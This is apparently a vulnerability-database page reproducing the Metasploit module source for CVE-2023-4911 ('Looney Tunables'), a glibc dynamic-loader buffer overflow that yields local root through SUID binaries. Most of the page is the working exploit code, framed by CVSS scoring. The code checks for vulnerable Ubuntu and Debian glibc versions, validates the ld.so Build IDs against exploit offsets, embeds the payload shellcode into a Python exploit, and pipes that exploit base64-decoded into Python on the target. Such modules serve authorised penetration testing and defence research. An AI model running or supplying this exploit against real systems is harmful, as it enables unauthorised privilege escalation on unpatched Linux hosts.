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metasploitQualys Threat Research Unit, blasty <[email protected]>, jheysel-r7MSF:EXPLOIT-LINUX-LOCAL-GLIBC_TUNABLES_PRIV_ESC-
HistoryDec 14, 2023 - 11:28 p.m.

Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)

2023-12-1423:28:43
Qualys Threat Research Unit, blasty <[email protected]>, jheysel-r7
www.rapid7.com
74
glibc
privilege escalation
buffer overflow
dynamic loader
ubuntu
debian
cve-2023-4911
suid permission

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

8.3

Confidence

High

EPSS

0.016

Percentile

87.4%

A buffer overflow exists in the GNU C Library’s dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when launching binaries with SUID permission to execute code in the context of the root user. This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are: Ubuntu: 2.35-0ubuntu3.4 > 2.35 2.37-0ubuntu2.1 > 2.37 2.38-1ubuntu6 > 2.38 Debian: 2.31-13-deb11u7 > 2.31 2.36-9-deb12u3 > 2.36 Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911 however this module does not target them.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes: kernel_release
  include Msf::Post::Linux::Kernel
  # include: get_sysinfo
  include Msf::Post::Linux::System
  # includes writable?, upload_file, upload_and_chmodx, exploit_data, cd
  include Msf::Post::File
  # includes register_files_for_cleanup
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  BUILD_IDS = {
    '69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561,
    '3602eac894717d56555552c84fc6b0e4d6a4af72' => 561,
    'a99db3715218b641780b04323e4ae5953d68a927' => 561,
    'a8daca28288575ffc8c7641d40901b0148958fb1' => 580,
    '61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560,
    '9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580,
    'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580,
    '956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322
  }
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)',
        'Description' => %q{
          A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES
          environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when
          launching binaries with SUID permission to execute code in the context of the root user.

          This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are:

          Ubuntu:
          2.35-0ubuntu3.4 > 2.35
          2.37-0ubuntu2.1 > 2.37
          2.38-1ubuntu6 > 2.38

          Debian:
          2.31-13-deb11u7 > 2.31
          2.36-9-deb12u3 > 2.36

          Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911
          however this module does not target them.
        },
        'Author' => [
          'Qualys Threat Research Unit', # discovery
          'blasty <[email protected]>', # PoC
          'jheysel-r7' # msf module
        ],
        'References' => [
          ['CVE', '2023-4911'],
          ['URL', 'https://haxx.in/files/gnu-acme.py'],
          ['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'],
          ['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'],
          ['URL', 'https://ubuntu.com/security/CVE-2023-4911']
        ],
        'License' => MSF_LICENSE,
        'Platform' => [ 'linux', 'unix' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PrependSetresgid' => true,
          'PrependSetresuid' => true,
          'WfsDelay' => 600
        },
        'DisclosureDate' => '2023-10-03',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_advanced_options([
      OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
    ])
  end

  def find_python
    %w[python python3].select(&method(:command_exists?)).first
  rescue StandardError => e
    fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}")
  end

  def check
    glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first
    return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version

    sysinfo = get_sysinfo
    case sysinfo[:distro]
    when 'ubuntu'
      # Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility
      test_version = glibc_version.gsub(/-\d+ubuntu/, '.')
      if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) ||
         Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) ||
         Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6'))
        return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")
      end
    when 'debian'
      # Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility
      test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.')
      if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) ||
         Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3'))
        return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")
      end
    else
      return CheckCode::Unknown('The module has not been tested against this Linux distribution')
    end
    CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable")
  end

  def check_ld_so_build_id
    # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
    if command_exists?('file')
      check_ld_so_build_id_file
    elsif command_exists?('readelf')
      check_ld_so_build_id_readelf
    elsif command_exists?('perf')
      check_ld_so_build_id_perf
    else
      print_warning('Unable to locate the commands to verify the BuildID for ld.so.')
    end
  end

  def check_ld_so_build_id_readelf
    file_cmd_output = ''

    # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
    # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
    sysinfo = get_sysinfo
    case sysinfo[:distro]
    when 'ubuntu'
      if command_exists?('ldconfig')
        file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"')
      end
    when 'debian'
      file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"')
    else
      fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
    end

    if file_cmd_output =~ /Build ID: (\w+)$/
      build_id = Regexp.last_match(1)
      if BUILD_IDS.keys.include?(build_id)
        print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
      else
        fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
      end
    else
      print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.')
    end
  end

  def check_ld_so_build_id_file
    file_cmd_output = ''

    # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
    # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
    sysinfo = get_sysinfo
    case sysinfo[:distro]
    when 'ubuntu'
      if command_exists?('ldconfig')
        file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
      end
    when 'debian'
      file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')
    else
      fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
    end

    if file_cmd_output =~ /BuildID\[.+\]=(\w+),/
      build_id = Regexp.last_match(1)
      if BUILD_IDS.keys.include?(build_id)
        print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
      else
        fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
      end
    else
      print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.')
    end
  end

  def check_ld_so_build_id_perf
    perf_cmd_output = ''

    # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
    # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
    sysinfo = get_sysinfo
    case sysinfo[:distro]
    when 'ubuntu'
      if command_exists?('ldconfig')
        perf_cmd_output = cmd_exec('perf buildid-list -i $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
      end
    when 'debian'
      perf_cmd_output = cmd_exec('perf buildid-list -i "$(readlink -f "$(command -v ld.so)")"')
    else
      fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
    end

    if perf_cmd_output =~ /([0-9a-f]+)/
      build_id = Regexp.last_match(1)
      if BUILD_IDS.keys.include?(build_id)
        print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
      else
        fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
      end
    else
      print_warning('Unable to verify the BuildID for ld.so via `perf`, the exploit has a chance of being incompatible with this target.')
    end
  end

  def exploit
    fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?

    python_binary = find_python
    fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
    vprint_status("Using '#{python_binary}' to run the exploit")

    check_ld_so_build_id

    shell_code = payload.encoded.unpack('H*').first

    exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py')
    exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code)
    exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':'))

    vprint_status('All good let\'s go.')
    # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
    output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}")
    if output.blank?
      print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.')
    else
      print_line(output)
    end
  end
end

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

8.3

Confidence

High

EPSS

0.016

Percentile

87.4%